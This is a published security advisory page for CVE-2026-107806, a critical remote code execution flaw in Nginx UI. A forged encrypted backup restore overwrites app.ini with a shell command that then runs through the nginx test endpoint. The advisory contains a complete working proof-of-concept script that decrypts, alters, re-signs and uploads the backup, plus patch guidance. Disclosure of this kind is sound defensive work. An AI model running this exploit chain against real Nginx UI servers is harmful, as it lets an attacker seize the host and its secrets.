Loading...
Skip to main content

CVE-2026-107806 — Vulnerability in github.com/0xJacky/Nginx-UI —...

CRITICAL

Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

Published October 9, 2026Updated October 9, 2026Source: osv

Summary

## Summary An authenticated nginx-ui user can call `POST /api/restore`, upload a forged encrypted backup, restore `app.ini`, set nginx command settings such as `TestConfigCmd`, and then trigger command execution with `POST /api/nginx/test`. This was validated on nginx-ui `2.3.11 2(523) 6c86e5a5` in the local Docker container `uozi/nginx-ui:latest`. ## Impact An authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored `app.ini`, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands. ## Affected Version / Environment - Version: `nginx-ui 2.3.11 2(523) 6c86e5a5` - Deployment: local Docker, `uozi/nginx-ui:latest` - Base URL used in validation: `http://127.0.0.1:8080` ## Root Cause `/api/restore` is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored `app.ini` into the live nginx-ui config path. Relevant code paths: - `api/backup/router.go`: `POST /api/restore` - `api/backup/restore.go`: accepts `security_token` and uploaded backup file - `internal/backup/manifest.go`: derives backup signing key from supplied AES key - `internal/backup/restore.go`: `restoreNginxUIConfig` overwrites live `app.ini` - `internal/nginx/exec.go`: nginx command settings execute through shell-backed command paths ## Proof of Concept Assumptions: - nginx-ui is already running. - `$TOKEN` is a valid user JWT. - `$CONTAINER` is the local disposable Docker container name for cleanup and evidence checks. ```bash export BASE='http://127.0.0.1:8080' export TOKEN='<valid nginx-ui JWT>' export CONTAINER='nginx-ui' ``` Run only against a disposable local instance. ```bash set -eu TMP=$(mktemp -d) trap 'rm -rf "$TMP"' EXIT docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original" curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \ -H "Authorization: $TOKEN" \ "$BASE/api/backup" SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers") KEY_B64=${SEC%%:*} IV_B64=${SEC#*:} KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 256) IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 256) mkdir -p "$TMP/outer" "$TMP/inner" unzip -q "$TMP/backup.zip" -d "$TMP/outer" openssl enc -d -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \ -in "$TMP/outer/nginx-ui.zip" \ -out "$TMP/nginx-ui.clear.zip" unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner" python3 - "$TMP/inner/app.ini" <<'PY' from pathlib import Path import sys p = Path(sys.argv[1]) cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce" lines = p.read_text().splitlines() out = [] in_nginx = False seen_nginx = False written = False for line in lines: s = line.strip() if s.startswith("[") and s.endswith("]"): if in_nginx and not written: out.append(cmd) written = True in_nginx = s.lower() == "[nginx]" seen_nginx = seen_nginx or in_nginx if in_nginx and s.startswith("TestConfigCmd"): if not written: out.append(cmd) written = True continue out.append(line) if in_nginx and not written: out.append(cmd) elif not seen_nginx: out.extend(["", "[nginx]", cmd]) p.write_text("\n".join(out) + "\n") PY (cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .) openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \ -in "$TMP/nginx-ui.modified.clear.zip" \ -out "$TMP/outer/nginx-ui.zip" OUTER="$TMP/outer" KEY_B64="$KEY_B64" python3 <<'PY' from pathlib import Path import base64 import hashlib import hmac import json import os outer = Path(os.environ["OUTER"]) key = base64.b64decode(os.environ["KEY_B64"]) manifest = json.loads((outer / "manifest.json").read_text()) for entry in manifest["files"]: data = (outer / entry["name"]).read_bytes() entry["sha256"] = hashlib.sha256(data).hexdigest() entry["size"] = len(data) manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"]) manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode() (outer / "manifest.json").write_bytes(manifest_bytes) signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest() (outer / "manifest.sig").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()) PY (cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json) curl -sS -X POST "$BASE/api/restore" \ -H "Authorization: $TOKEN" \ -F "restore_nginx=false" \ -F "restore_nginx_ui=true" \ -F "verify_hash=true" \ -F "security_token=$SEC" \ -F "backup_file=@$TMP/malicious-restore.zip" sleep 10 for i in $(seq 1 80); do curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break sleep 0.5 done curl -sS -X POST "$BASE/api/nginx/test" \ -H "Authorization: $TOKEN" docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce' # Cleanup and return the disposable instance to its original config. docker cp "$TMP/app.ini.original" "$CONTAINER":/etc/nginx-ui/app.ini docker exec "$CONTAINER" sh -lc 'rm -f /tmp/nginx-ui-restore-rce' docker restart "$CONTAINER" ``` Expected output: ```text {"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true} {"message":"","level":-1,"test_scope":"global"} restored-rce ``` ## Cleanup The PoC performs cleanup at the end. If interrupted, restore the original `app.ini` from a known-good backup, remove `/tmp/nginx-ui-restore-rce`, and restart nginx-ui before continuing other tests. ## Patch Guidance Require an elevated/admin secure session for restore, do not allow ordinary authenticated users to restore nginx-ui app state, bind backup manifest signatures to a server-side secret or administrator-held passphrase, and block protected app settings from being restored unless explicitly approved through a hardened migration path.

Advisory Timeline

  • First published October 9, 2026 (3 days ago).
  • Last revised October 9, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/0xJacky/Nginx-UI to 1.9.10-0.20260728074146-a467ed652591 or later
go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20260728074146-a467ed652591

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/0xJacky/Nginx-UI
go
All versions1.9.10-0.20260728074146-a467ed652591

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.2 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Frequently Asked Questions

What is CVE-2026-107806?
Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.2/10).
How do I check if my project is affected by CVE-2026-107806?
CVE-2026-107806 affects github.com/0xJacky/Nginx-UI. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-107806 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.2

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-p393-cf76-4jmr

Related CVEs

  • CVE-2026-33026
    CRITICAL

    nginx-ui Backup Restore Allows Tampering with Encrypted Backups

  • CVE-2026-27944
    CRITICAL

    Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure

  • CVE-2026-33032
    CRITICAL

    nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover

  • CVE-2024-23827
    CRITICAL

    Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature

  • CVE-2026-33030
    HIGH

    nginx-UI has Unencrypted Storage of DNS API Tokens and ACME Private Keys

  • CVE-2026-107813
    HIGH

    Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up

  • CVE-2026-107807
    HIGH

    Nginx UI: Node Secret Credential Exposure via URL Query Parameter

  • CVE-2026-44015
    HIGH

    Nginx-UI has Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware that Allows Access to Internal Services

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies